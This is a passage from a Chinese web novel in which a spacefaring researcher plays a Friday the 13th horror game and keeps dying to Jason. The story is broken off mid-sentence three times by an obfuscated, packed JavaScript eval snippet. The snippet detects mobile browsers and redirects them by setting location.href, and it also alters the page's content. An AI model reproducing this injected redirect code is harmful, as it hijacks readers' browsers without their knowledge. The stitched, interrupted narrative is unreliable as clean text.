聚合杆最合适手搓炸弹,材料几乎每家店都有。只不过购买需要凭证,汤姆想,游戏而已不至于这么真实。 “什、什么东西?”詹姆斯以为自己听错了,不断搓揉耳朵。 “啊,没有吗?”这居然没有?汤姆神情比詹姆斯还茫然。 知道没听错的詹姆斯放下手,嘴唇开合几下憋出一句:“如果你指的是那什么杆,没有。” “那X-99晶体?” “没有。” “纳米孢子呢?”纳米袍子也是可以制成炸弹的,就是威力小、不稳定,容易和敌人同归于尽。 詹姆斯笑呵呵地两手一摊。 不能手搓炸弹,汤姆仍不死心:“那你们这儿有导弹吗?或者那个叫手枪的东西?” 回答汤姆的是一块湿漉漉的抹布,正以一道优美的弧度朝汤姆飞来。 为了避开溅起的水,汤姆后退几步,站到敞开的门边。 “滚。”詹姆斯指着门,啐了口唾沫道。 “詹......” 詹姆斯举起酒瓶,唰的一下汤姆不见身影,被猛关上的门还在轻微发颤。 汤姆撑着下巴坐在阶梯上叹气。詹姆斯在屋内骂一句,他叹一声。 “讨厌家伙!他妈的白瞎一张好脸。” 詹姆斯骂完后,从镶了玻璃的门往外望去,瞧不见人影。没由头的,詹姆斯怀疑出声:“那混小子真会乖乖离开?” “没呢!”听到詹姆斯提到自己,汤姆一跃而起,隔着门玻璃,冲詹姆斯直招手,“在这!在这!” 沉默半响,詹姆斯无语地说:“你也知道我骂的是你。” 汤姆推开门,怕刺激到詹姆斯没进来,只站在门口。 “对不起嘛,原谅我,詹姆斯。”他埋头,扭捏地说:“我没有在耍你,我有原因......你知道那个杰森吧?” 詹姆斯眯眼盯着汤姆。“你也是冲杰森来的?” 哟,有戏! 汤姆眼珠子咕噜咕噜转,再抬头是一副可怜兮兮表情:“他可是个杀人狂。那么大块头,瞧着就皮糙肉厚,我太害怕了。” “那你还跑过来?”詹姆斯狐疑地问。他在这儿住了十来年了,当地人都瞧了个眼熟。 “呃......” 汤姆一时半会没找着借口,就听詹姆斯冷哼一声,“你们年轻人就是爱存心找死。” “你难道不害怕吗?”汤姆想知道詹姆斯哪来的胆子。 “害怕什么?你小子吃奶的时候我就在这儿生活,要死早死了。这么多年,我从没见过杰森。”詹姆斯嗤笑一声,“不过是夸大其词的把戏,也就你们这些人傻钱多的坏小子会相信。” 被骂了诶。汤姆不开心,他甚至希望杰森立马出现,好叫老板认识到自己之前有多幸运。下一秒,汤姆唾弃这个不争气的想法。 不可以!你们是仇敌!仇敌之间不死不休,不能没出息地要对方帮忙。 “他们都活着回去了吗?” “谁知道呢。”詹姆斯满不在乎地说,“要不是每年都有这些傻子过来送钱,这个鬼地方,我早搬走了。”说到着,詹姆斯目光在汤姆身上搜刮一番,语气缓和:“外面天暗了,你要不要在这儿住一晚?” 汤姆觉得詹姆斯是个要钱不要命的傻子。和追求刺激的年轻人相比,也没好到哪儿去。 最后,汤姆订了一间房,还买了把水果刀。看到詹姆斯放在柜台报纸,又询问:“我可以看看这些报纸吗?” “不行,我还没看完。”詹姆斯一口拒绝。 “你看完的那些呢?” “收藏品懂不懂。” 汤姆默默掏出纸钞。 半分钟后,汤姆抱着高到下巴的一摞报纸上楼。二楼地板老旧,脚步声稍重,便咯吱响个不停。 听这声,就知道这房子年代久远。 夕阳从树叶缝隙照进窗内,光线照得汤姆头发丝都在发光。汤姆坐在书桌旁,逐字阅读着报纸。 【1957年,水晶湖营地一小男孩溺亡......几个月后,发生溺亡事故夏令营被迫关门......】 【1980年夏令营凶杀案幸存者采访。幸存者表示,凶手是营地的一名厨师......】 【......夏令营幸存者离奇死亡!从太阳穴处插入的铁钉贯穿了整个脑袋......】 【水晶湖惊现杀人狂杰森!1980年夏令营凶杀案幸存者或死于其手......】 【又一批失踪!水晶湖——吃人的湖泊。受害人......其家属,格林夫妇同托马斯先生相约......】 汤姆在心里梳理着时间线,杰森是1946年出生,报纸说11岁溺亡,但23年后又出现,应该是34岁—— 咦?不对,游戏前期背景介绍时,杰森是小孩子啊! 汤姆抱紧头疼不已的脑壳,时间线跟毛线团似的裹成了一个球,捋不清了。 行吧,不纠结这个。他继续看报,看得昏昏欲睡之迹,底楼传来一声巨响。汤姆陡然惊醒,不详的预感小虫般在四肢游走。 汤姆摩挲着发冷的双臂,微弱的热意削减了夜晚的寒凉。打开门时,一切都安静下来。在死寂的黑暗之中,汤姆摸索到走廊。 从楼梯口缝隙往下看,汤姆看到老板脑袋插着破酒瓶倒地。血和酒水流淌出一个水洼,从这出血量看,詹姆斯就算还有气息,也是奄奄一息。尸体旁站着一个体型壮硕的男人。 那眼熟的身材和滑稽的头套,汤姆不用看正脸都知道,这是杰森! 好啊!主动送上门是吧。 汤姆取下别在腰间的水果刀,准备冲上去。走了几步见杰森转身,汤姆看到他手中与柜台高度几乎差不多长的砍刀。 胸膛顿时有冷风飒飒刮过似的,冰冷感浸透到皮肉,让心脏慢了一拍。汤姆打退堂鼓。 他没准备好。下次——下次再来! 汤姆踮着脚尖飞快后退。却听见脚下地板突然叫了一声。 詹姆斯,你这地板质量不行啊! 汤姆内心嗷嗷叫着,几乎是飞扑进房间,差点刹不住撞上窗。 挂着窗帘的窗户、床、柜台上的电视机,还有顶端放满杂物的衣柜......汤姆视线在屋内快速扫过,沾着血迹而湿哒哒的脚步声愈来愈近,汤姆也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764413|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主意。 汤姆刚趴好,同一时间,杰森踹开门。屋内空无一人。 月光穿过窗玻璃斜照进房间,地板上横七竖八丢着毛巾、包等东西。 杰森立在原地,左右环视后,踢开脚边的提包,直直朝衣柜走去。 汤姆听着迫近的脚步声,心脏怦怦乱跳,他几乎不敢呼吸,只好用牙齿咬住虎口。 衣柜柜门紧紧关着,中间的缝隙只有针尖大,完全看不清里面。杰森没有犹豫,将砍刀捅进衣柜—— 什么也没有发生。 杰森拉开柜门,里面只有几件衣服。他扭过头,再次扫视房间。然后,走到床边,一把掀翻床铺。 床底下除了窜出的老鼠和灰尘,什么也没有。 这哐哐哐的动静听得汤姆牙疼。这家伙真粗暴。 折腾几分钟后,杰森好像放弃了。汤姆听到粘稠的脚步声朝门口走去。地板咯吱咯吱响个不停。一会儿后,还传来一楼门口传来狗吠。 隔了好久,也没听到任何动静。汤姆这才驱动着僵硬的手指,扒开衣柜顶遮挡的包,跳下地面。 他走到楼梯口,一楼只剩下尸体,和一滩正在干涸的血泊。地上血色脚印遍布到门外。 应该走了吧?汤姆回到房间,向窗户外打量。树枝沙沙作响,月光明亮,洒在路边吉普车和柏油路上。除了密林,其余一切被照得清晰可察。小路上没有熟悉的人影。 难道他跑进森林了?汤姆看得眼睛发涩,正要揉眼,发现衣袖灰不溜秋。想来是刚才趴衣柜沾上的。 好脏。 汤姆嫌弃地甩甩袖子,在光线下飞出一些细微的灰尘。 他转过身,准备去沐浴间。刹那间玻璃破碎声从身后响起。 没来得及回头,汤姆被拦腰抱住,像詹姆斯扔来的那团抹布,汤姆被轻而易举地丢出窗外。 哪怕汤姆反应迅捷地拽住窗帘,也只是把窗帘扯下一大块,陪他下坠。 一道低沉的撞击声后,车子凹陷出人形。被破布遮住的汤姆,艰难动了动脑袋,才显出一双眼睛往窗户看去。 果然是杰森。 不知道为什么,明明也只死了一次。但汤姆毫不意外这次又死在杰森手里。 透过旅店门玻璃,汤姆还能看到詹姆斯尸体,莫名感到安慰。 就这么杂七杂八想了一通,汤姆忽地意识到:“等等——” 他好像还没死。 汤姆摸摸心脏,察觉到还有心跳的一瞬间,他瞪大了眼,差点跳起来,激动中吐了一口血,将黄帘布染得鲜红。 痛觉屏蔽就是这点不好,对自己身体陌生。 汤姆以前不理解亚兹拉赢了他一次为什么要那么得意洋洋,现在他终于明白了。“哈哈杰森!你大意了吧。”汤姆大声叫嚣。 杰森从窗户冒出头,脑袋歪着。头套上还有片绿油油的小叶子。 “呃.....”汤姆声音渐渐变小。 却见杰森走开,留下空空如也的窗户。 汤姆舒了一口气,他还以为杰森会跳下来再给他一刀呢。然而,他发现自己放松早了。重新出现的杰森高举着电视机。 “我我我去!”玩这么狠呢? 汤姆猛地闭眼。 等了几秒,汤姆悄咪咪睁开一只眼睛看,电视机稳稳地卡在窗户间,任凭杰森使劲力气,动弹不得。 这是要笑死谁?汤姆都怕自己血还没流完,先被活活笑死了。他嘴角向上高翘,庆幸自己自杀登出前睁了眼。差点错过了。 “哎呀呀......丢不下来呢......怎么办呀......杰森真丢人......”汤姆边说边咳血,弄得脸上全是汩汩鲜血。 杰森动作越发粗暴。窗户当啷作响,而汤姆满嘴血含糊地嚷嚷着杰森快丢。 要是能丢下来,算我该死! 汤姆刚发完狠誓,就见杰森终于没了耐心般,单手捶破窗棱。伴随一声咔嚓,木头、墙砖带着白漆粉末红轰地垮塌,裂出个大洞。 “......”汤姆惊得吐出一串血沫。 詹姆斯,你心可真黑,赚了小年轻的钱还用纸糊墙皮?汤姆谴责万分。 杰森抛下电视机,让车子砸了一个洞。尸体胸膛到腰部跟碎西瓜似的,随电视机砸进车内,座椅上拖坠湿漉漉的肠子,窗帘布晃悠悠地落下。车顶就剩下两条腿和一个头颅,很快,也随着车顶倾斜的铁皮,骨碌滚落。 汤姆幽幽地说:“好吧,这下死透了。” 登出前,他最后抬头望窗户看了一眼,杰森在窗户一动不动地站定。头套左眼处钻了个指甲盖不到的小孔,叶子已经不见了。 这么小的洞,杰森真的能看清吗?汤姆疑惑地想。 杰森身上有很多不为人知的秘密。庞大的身躯与干脆的杀人手法将他的凶残蛮狠暴露无遗,然而不通世俗的纯澈让他行为中带着一丝婴孩般的天真,最终形成一种偶尔让人会心一笑的独特气质。 汤姆从来没见过这样一个矛盾而神秘的人,叫自己研究的心蠢蠢欲动。 他迟早有一天要把杰森给解剖了。汤姆心想。这个古地球人身体素质比警卫队还厉害。 回到游戏大厅后,汤姆发现杰森信息界面能力一块不再未知,多了几个字。 【能力:精通砍刀、力大无穷】 汤姆当即下定决心,之后绝不轻视这个杀人狂。 26.十三号星球五03 这次汤姆是在驾驶座上醒来。马路空荡荡的,车窗外不断闪过长势葱郁的桦树,这些树坐落在灰褐的土包状山坡里,只有风偶尔路过密林,传来几乎听不到的树叶低语声。 在这一片寂静之中,汽车发动机嗡嗡的响声听得汤姆心脏狂跳。他抿紧唇,忍住滚到嘴边失措的喊叫,手忙脚乱地打转方向盘。车子开出歪七扭八的轨迹,像个蹒跚学步的婴孩。路人看到了魂都能吓出来。索性,银白的柏油路上只有这一辆莽撞如熊的吉普车。 凭借飞船驾驶经验,汤姆在一番慌乱的探索后,逐步掌握基本的开车要领。他抹掉额头冷汗,大松一口气,还有心神冲游戏系统抱怨:“我发现你们这游戏对玩家意见很大。杀人狂设置那么强壮就算了,有没有想过我要是不会开车,或者没反应过来,只怕连杰森面都没见上,直接game over。” 汤姆的忿忿不平一如既往没有回应。虽然在意料之中,汤姆仍然觉得不满。游戏过于重视沉浸式体验,除非死亡登出,平时什么游戏界面都唤不出来。也不知道这游戏受众到底是谁! 忽然,前方两颗桦树中走出一个眼熟的人影。他身高卓越,拖着一个白色棍状物品,在阳光里发出的粼粼反光闪过汤姆眼睛。他不由眯起眼睛,注视来人大摇大摆站上马路。 这人是谁?怎么在路中心不动? 汤姆的疑惑很快得到解答。飞速行驶的汽车不过几秒,拉近了两人之间的距离。冷风呼呼擦着车玻璃吹过,瞧见那人的一瞬间,凉意似乎穿透玻璃,在温暖的车厢里浸湿汤姆后背。先前停住的冷汗哗啦开始冒出,汤姆叫苦不迭,怎么又遇上了! 那人宽挺的两肩中是一颗套着麻布的脑袋,举止笨拙,仿佛高大健硕的身姿拉低了灵敏度,叫这人慢吞吞如同蜗牛。隔着土棕色头套看不见神色,但他高举的砍刀昭示出一股冰冷的杀意,刀刃间白生生的芒光好似惊恐之人的眼白。 渗人的麻意爬满汤姆全身,他下意识猛踩油门。两旁急速略过树影,发动机的声音一度盖过林中清脆的鸟鸣。汤姆不敢看向地面,马路已经模糊成条条重影,人看了只会头晕眼花。他呼吸急促,而脚下有着钢铁之躯的机械大家伙让他腾升出信心。 高速行驶物体的冲击力总归是巨大的。汽车虽然不比飞船,但要撞飞一个百来公斤的人也是轻轻松松。 杰森!我跟你拼了!汤姆恶狠狠地想着,开车猛撞过去。 离得越近,杰森的身影愈发清晰,身躯布下的阴影似乎能笼罩整辆车。头套上的小洞依旧黑乎乎。他侧着脑袋,莫名有种思索的神态,随后他将砍刀别在腰间,微微弓着腰正视着汤姆和车。 他不逃吗?他不怕吗! 汤姆几乎要怀疑是自己看错了。就算杰森能徒手打破墙壁,这也不代表他能应付得了时速为五十英里每小时的汽车!冲击力能撞飞近两万磅的物体。难不成杰森脑袋真的有问题? 眼见汽车就要撞上人,汤姆不忍直视,眼睛快闭成一条缝。哪怕知道这只是个游戏,对面还是个杀人成性的恶魔,但汤姆掌心依旧窜出湿热的汗珠,差点打滑握不住方向盘。 然而,汤姆预想中的画面并没有出现。杰森橄榄绿工装外套吹得往后狂飞,人却纹丝不动,仿佛真就是一座山丘矗立在汽车前。他伸出两手抵在引擎盖上,汽车便像是被一根手指头停住的玩具,盖子深凹掌印,轮胎还冒着烟旋转,但寸步都行进不得。 汤姆捂着头,他不知道磕到哪儿了,鲜血直流。他张大嘴,惊愕至极。和杰森面面相对,更是让他吐不出一句完整话,只结结巴巴道:“我我我我......” 杰森一语不发,安静得如同是幻觉。若没有呛人的烟与焦糊味直冲天灵盖,汤姆只觉恍若做梦。饶是如此,他像是仍处在高速行驶带来的模糊感中,四周幻影重重。连杰森什么时候走到驾驶座旁都不曾发现。 咔嚓几声,杰森一拳砸来,玻璃裂出蛛网般的细纹,然后尽数掉落。飞溅的碎片划过汤姆裸露出的肌肤。灰暗的车窗不在,驾驶坐上汤姆露出来。杰森不知道为什么,沉闷地站在原地,没有动作。 铁锈味更厚重了,与焦味混杂出奇异的刺鼻气息。嘴巴里粘稠的血,让腹部的反胃感几次上涌到喉咙。汤姆费力忍住呕吐欲望,为此他两眼盈泪。庆幸的是,这一番动作让撞击后头晕乏力的四肢恢复了一点力气,他试图朝副驾驶爬去。 然而稍一动作,杰森惊醒过来,手臂深入车窗。能划破汤姆肌肤的尖锐玻璃却没对他带来一点伤害,皮糙肉厚的臂膊上唯有衣服被割出裂条。 汤姆还处在眩晕的debuff中,他以为自己爬得很快,实际上还坐在驾驶座刚侧过身。于是,这个彻头彻尾的怪物轻易便抓住汤姆,五指扼上汤姆脖颈。下一秒,汤姆视线天旋地转。 【角色已死亡】 杰森也顿住了。蓦然转换的视角让汤姆没注意到这一点,等他适应了第三视角,杰森已经动作如常,掐住尸体脖子拖出车外。锋利玻璃划破尚且温热的尸体,殷红的血从皮肉破开犹如泉眼的裂口中,流淌而下,在地上形成一滩小水洼。 汤姆万般哀怨。“这还是人吗?”他停不下来碎碎念念,“徒手停车?徒手停车!这游戏太离谱了!古地球人中要是真有这样实力超群的杀人狂不早灭绝了。怎么可能还会活下来,繁衍生息到现在?” 游戏还没有登出,汤姆继续不高兴地嘀咕。“死都死了,不赶紧退出?尸体有什么好看的。可恶,都是耻辱。” 这破游戏好像在羞辱他。汤姆不想玩这个游戏了。他面红耳赤,哪怕亚兹拉他们不知道,但汤姆还是认为接连栽在游戏里,他没脸见人了。 一想到杰森肉体凡胎却能徒手停车,汤姆眼前一黑,只觉得反杀这怪物的前途黑暗无比。所以,为什么不及时止损呢? 汤姆打退堂鼓,连退出游戏后做什么都想好了。他要将这虐待玩家的破游戏从设备上删个干净。却见杰森另一只手朝尸体脸庞伸出,就像是一阵狂风吹过留下满地狼藉,那只手从脸上招呼而过,再次显露出的脸蛋成了年幼版杰森——颧骨下移,断鼻歪斜挂在一侧,眼珠也被挤出,好似一颗弹跳球晃动。 汤姆:“???”兄弟,你在做什么? 汤姆倒吸一口冷气。虽然他常年在实验室,见惯了奇形怪状物种,审美早就随着畸形的试验品们跑偏。但这不代表汤姆能接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764414|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受自己变成这个模样! “去他的混蛋啊!”汤姆眼泪都飙出来,骂出海豚般的尖音,“侮辱尸体,有没有职业杀人狂的素质了?”他要被这个史无前例的扭曲脸丑死了,心中更是疯狂发誓一定要杰森好看! 这莫大的心理创伤一时半会汤姆走不出来。退出游戏后,他没有立马开启下一轮。而是拍拍衣袖,从地上站起,腕间形似古表的设备显示出时间。汤姆知道这三局游戏花了他快一天的时间,从亚兹拉分别的上午到现在,已经临近晚上。 怪不得他两腿麻得不行,汤姆皱着脸苦哈哈地想。他不敢动,僵硬地站着。直到缓过腿部肌肉的酸麻感后,汤姆决定去找飞船警卫队队长,柏斯基中士。在路上,汤姆先遇到了行踪诡异的亚兹拉。 看到汤姆,亚兹拉心虚。“好巧,你也要去找警卫队。” 这表情怎么看怎么不对。汤姆上下打量,落到亚兹拉手上,亚兹拉忙将手里的虚拟设备往身后藏。 汤姆还有什么不明白?亚兹拉这是找到了新的游戏伙伴,就在警卫队! 对于亚兹拉和谁玩,汤姆没什么感觉,但这不妨碍他面上佯作出受伤的表情。“你这一天没找我,都和别人一起玩?” 见汤姆猜出来,亚兹拉挺着胸膛,仿佛这样他就有理有据。他试图理直气壮地说:“你不是说,我们不再一起玩了吗?” “你别说了,我知道的。你还是嫌弃我玩游戏敌我不分、只顾自己高兴。” 亚兹拉都快点头大喊你也知道!但汤姆神情伤心,让他无端觉得负罪感累累。只能艰难摇摇头,说:“不是,没这回事儿。” “可你还是找了新的游戏伙伴不是吗?还是这么快的时间里。”汤姆苍白一笑,他两顿没吃,又一直在打游戏,憔悴得真心实意。“我以为你不一样,你能接受......只有和你玩,我才能这么自由。”因为其他人都不玩游戏,也没亚兹拉这么好糊弄,“我、我能理解,是我不对。你想要找新的游戏伙伴也是应该的。也许游戏不适合我,我就不该玩。” 你在说什么!我就找个新游戏伙伴,有这么严重吗?亚兹拉头都快大了,左右看着廊道,生怕出现人瞧见这一幕。“不是,你——行行行,我不找......” 就说了亚兹拉好糊弄。汤姆提高音量打断亚兹拉的话,毕竟他演这一出可不是为了亚兹拉和新游戏伙伴断绝,“没事儿!你不用解释了,我都理解的,正好接下来几天,教授安排了我观察M-3实验体任务,我,我不会出现在你们面前,碍着你们眼......” 亚兹拉听到这,慌忙说:“我!我帮你把这任务做了,行吗?你别伤心了。” “真的吗?”汤姆抹眼泪,“其实不用的,你也没有做错什么,用不着帮我,虽然我会很开心这没错,但是不能因为这样,就让你平白无故多了实验任务啊。” 亚兹拉捕捉到关键词‘开心’,更是坚定地表示:“没事儿,我来。你不伤心就再好不过。” 可怜的亚兹拉,他是真觉得自己对不起汤姆。 “谢谢你,亚兹拉,怎么会有你这么善良的人。”汤姆感动地说。他接下来拥有充足的时间玩游戏了。 27.十三号星期五04 柏斯基几乎和杰森一样高,除了肌肉不比杰森外,他身手敏捷,健硕非凡。整个飞船没人能打得过他。在游戏里屡吃败仗的汤姆试图向这位格斗好手讨教。 找到柏斯基时,这位飞船警卫队队长正穿梭在训练的人群中,副队紧随身旁。如今研究团队前往各大行星科研考察成为常态,飞船管理局每周都能收到几起申请。宇宙危机四伏,出航飞船均需配备的警卫队,成员均由现役军人组成,来最大限度确保人员安全。 不大的船舱里几十人进行体能训练,一时间只有接二连三的粗喘响彻室内。柏斯基和副队戴维停在一个士兵前,身后光滑的舰墙流淌着钢铁的色泽,一如他黑眼睛发出的利光。 柏斯基扫视众人,胀满肌肉的手臂随时准备逮出偷摸耍滑的小子。士兵们能察觉这点,凡是队长视线所到之处,肉眼可见训练得更卖力了。凑巧杵在柏斯基面前的士兵,更是拿出百倍的专注,一丝不苟地做着负重俯卧撑,脸都憋红了,差点还因用力而龇牙咧嘴。 虽然柏斯基平日里是个亲和的好大哥,但一到训练就板起黑脸,面无表情得像是具人形机器,教训人毫不含糊。士兵都生怕被队长找着差错。几十人的日常训练,硬生生做出了百来人考核的紧张架势,吐出的团团热气似乎能让冰冷的墙壁凝结出水珠。 汤姆爱干净,身上向来清爽,也怕打扰到柏斯基他们训练,他在门口徘徊了好一会儿。还好眼尖的副队瞧到。“哟,”戴维捅了柏斯基一肘子,玩笑道,“你的小汤姆来了。” 声音没有刻意压低,挨得近的士兵们耳朵动了动,强忍想看的欲望。作为长官的柏斯基就没有顾虑,顺着戴维视线望去,直接和汤姆对视上。黑发黑眼的年轻人一下子跳起来,高高挥手,眼睛闪烁着光带洒下的白光,一副高兴得不得了的模样。 几乎是瞧见汤姆的一瞬间,柏斯基面容柔和下来。任谁看到一个每天冲你微笑问好,一旦有什么事儿嘘寒问暖的人都会有好感。更何况,柏斯基并不是个铁石心肠的人。他转向戴维,搭档多年的好友立马心领神会,拍着胸脯保证: “你尽管去,这里放心交给我。不过,要我说,每日训练也不需要天天盯......”咕哝没说完,收到柏斯基的一瞥,戴维声音戛然而止。 柏斯基面容严肃,加重语气道:“这是对飞船和科研队的负责,不能马虎。”但因为知道好友只是嘴上抱怨,为了让声音显得不那么严厉,他补充,“麻烦你了,戴维。我很快就回来。” 柏斯基是个小心谨慎,从不对生命开玩笑的人。严谨的作风让他在警卫队中享受着极高威信。士兵们又爱又怕,此刻见柏斯基朝门口走去,纷纷对汤姆露出感激涕零的表情。 刚被柏斯基勒令不能放松的副队见状,一人送上一个铁拳。“眼睛看哪儿呢,混小子们。保持专注!” 柏斯基适时停下脚步,环视人群。士兵们头皮一紧,顿时恢复井井有序。 汤姆忍俊不禁,“大家还是一如既往地敬爱你。”他对走到跟前的柏斯基说。 柏斯基没说话,用力揉了一把汤姆柔软黑发。他个头高,轻轻抬手就能够到汤姆脑袋。 “柏斯基!”汤姆气得拍开柏斯基的手后,还朝人瞪眼,换回始作俑者一个露出白牙的沉稳微笑,“不准碰头发!”他哼唧着梳理被抓得乱松松的头发。 戴维瞧得啧啧称奇。想当初汤姆初来乍到,对柏斯基退避三舍。结果不知道什么时候起,两人关系亲厚得如同从小长到大的兄弟。 汤姆抓着柏斯基好一顿诉苦,谈完惨痛的三连败后,他支支吾吾道:“所以我、我想着来问问你嘛。有没有格斗速成技巧?” 也是知道自己这要求颇为苛刻,汤姆压低了音量。要是被船舱里面的人听到,指不定怎么笑他异想天开。 “一天不行,三天也可以呀!”汤姆边说边偷偷瞟着柏斯基神色,只看到一张因思索而变得冷峻的面庞。他心底再度对柏斯基拔高了好感。汤姆喜欢柏斯基这点,不管他提出的要求有多古怪,柏斯基都会考虑一番才给答复。 “如果是为了游戏,我想我可以教你一些技巧。”柏斯基回答。 汤姆高兴之余,担忧道:“不会打扰到你工作?” “可以在晚餐后。至于白天,我向你推荐些适合拿来练习的格斗游戏。” “好兄弟!你帮了大忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764415|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 汤姆朝柏斯基一个猛扑,连声邀请柏斯基试试《Friday the 13th》。要不是游戏是单机,汤姆说什么也要和柏斯基搭档。 “好的。”柏斯基一口答应,“有时间我会考虑的。” 汤姆送别了柏斯基,兴奋在晚上的训练中被冷水泼灭。柏斯基一到训练就和变了一个人似的。不管柏斯基再怎么小心,汤姆痛得直掉泪,身体青一块紫一块。结束晚训后,汤姆泪眼汪汪表示收获颇丰。至少他不会傻愣愣杵在那儿让杰森砍中。 接下来几天,汤姆白天练习,晚上迎接警卫队队长亲身特训。当汤姆重新登录游戏时,他深感自己已经脱胎换骨。隐隐酸痛的四肢给了汤姆十足的勇气。 杰森,你完了! 汤姆眸子再度燃起火苗,一鼓作气把痛觉拉满。在游戏开始前最后几秒,他灰溜溜退回来,将数值条—— 归零。 汤姆想到杰森的能力——精通砍刀、力大无穷、耐力。 算了,做人还是稳妥一些好。 令人惊喜的是,汤姆这次不是孤身一人。他是野营小队的一员。除汤姆以外,小队五个人,三男两女。麦克和惠妮是小队仅有的情侣,剩下三人中,也就韦德是个实打实的单身汉,他的好兄弟瑞奇和亚嫚达无时无刻不在打情骂俏,暧昧得快黏出丝。 嘿,就算是找死也有伴了!再说六个人,只要再有几把刀,还怕只有一把砍刀的杰森吗? 汤姆的好心情在没找到趁手武器时戛然而止。偌大的队伍,没一个人带了防身的物品。一问他们,一个比一个无辜且自信。 “拜托,我们可是六个人,四个男人,害怕什么?”瑞奇摊手。 “驱虫喷雾算吗?”亚嫚达举起手中的喷雾。丛林中蚊虫多,她携带了好几瓶。 韦德回复:“喷雾不含对人体致命成分。” “别这么死板,哥们。”瑞奇对亚嫚达说,“你可以朝我来,在我身上试试。” 眼见话题被精虫上脑的瑞奇引偏,汤姆只能祈祷在他们抵达商店前不会遇上杰森。不然,他们这群人对杰森来说,简直就是一刀一个小西瓜的事。 28.100章 汤姆没想到在林间徒步的经历还会重演。进入游戏时天色尚早,煦风吹拂发间,现在太阳走过三分之二。然而别说房屋人迹,他们连这片山林都没走出,看到的除了树,就是鸟! 他是真的累了,说什么也不肯再挪动,哪怕就一小步。小队不少人也两腿酸软,惠妮和亚嫚达相继表达了停歇的想法,瑞奇他们便没异议。 休息没多久,四处溜达的麦克叫了一声:“伙计们,我想今晚有着落了!” 麦克手指着一块视野开阔的空地。中间大片的褐泥石上铺了层细草,边缘处零星生长着的乔木,如同自然的分界牌,再往外走几步,林木云集,进入了一望无边的森林。高耸林木遮挡住落日,从地平线射出的暗淡红光却将林木间隙穿透。 天色越发昏冥,傍晚的风带上凉意擦过皮肤,告示着夜幕即将降临。大伙当即决定就在此处安营扎寨。他们有说有笑地搭建帐篷。汤姆则苦大仇深地凝望眼前凌乱的支架和黄布,偷摸瞄着瑞奇和麦克,有模有样地搭出帐篷。 哟!成了! 汤姆掀开帐篷进进出出,推动铁支架,帐篷纹丝不动。他这才彻底松了一口气,高兴晚上不用露天睡觉。 森林仿佛就是个巨大的虫巢,大的小的,灰的黑的虫子随处可见。他不敢相信,这世界上居然有这么邪恶的小东西,还这么多! 汤姆可不想一睁眼对视上盘踞草叶的小虫。光是想到这种可能性,他就浑身起鸡皮疙瘩,宁愿去和杰森面对面! 最后一次掀开帐篷出来,汤姆注意到夜空高悬。月光很浅,空气中聚满的寒意,如同一匹匹眼冒凶光的狼,呼呼往衣袖里灌。他看到瑞奇他们在营地旁生了火堆,便走过去,靠着树坐下。 烈火劈啪燃烧,温暖的热意驱散夜间冷湿。篝火旁围拢了年轻人,他们喝着啤酒,嬉玩打闹。晚风将他们的笑语吹散开,一路越过泥土吹入森林。乔木低垂在灌木丛上的枝叶颤动不已。 韦德戴着黑框眼镜,他爱读书,与人闲聊总三句不离晦涩的知识。而今晚,他少有的没谈那些东西,转而神秘兮兮地说: “你们听说过水晶湖营地吗?这个营区二十年前关闭了。有个疯女人杀了营区所有的管理员。怪他们让她儿子,杰森,一个畸形或者智障,淹死了。那母亲也有属于她的惩罚。” 营地安静下来,除了韦德的声音,没一个人讲话。韦德讲得更兴奋了:“有个生还者,是个女人。她用砍刀切下疯女人的头颅。不幸的是,杰森目睹了这一切。他在场,亲眼看他妈被砍头。从那之后,杰森在水晶湖大开杀戮,没人能活着离开这里。” “而我们现在所在的地方,如果我没弄错,就是水晶湖附近。” “喔,少来。”瑞奇嗤笑一声,“知道有多少湖的名字叫水晶湖吗?像是水晶喷泉、水晶水......到超市走一趟,每瓶水都叫做水晶什么的。”他说,“只是个吓唬小屁孩的故事。你觉得自己是个老小孩吗?” 韦德张张嘴说不出话,不叙述书本知识时,他是一个嘴拙的人。 瑞奇了解韦德没能力反驳自己。他说完话马上转向麦克,“啤酒好喝吗?” “还行。”麦克挑眉,“比我自己的尿还要好喝。” 人们纷纷笑出声,沉闷的气氛瞬间轻松,韦德却插话:“尿可以喝。” “什么?”汤姆看向韦德。 韦德以为汤姆不相信。“你的,大家的,都可以喝。”他强调,“我发誓尿是无菌的。” 大家早已习惯韦德的语出惊人,不像汤姆表情复杂,亚嫚达接过话茬:“你一定不会喝我的。” “那是你的观点。”韦德纠正。 亚嫚达除了耸肩还能说什么呢。 水晶湖的话题就此要翻篇,汤姆兴致忽起。他酝酿了下语气,缓缓开口:“其实……韦德说的,并不只是一个故事。我几个朋友都有亲身经历。他们来过水晶湖。” 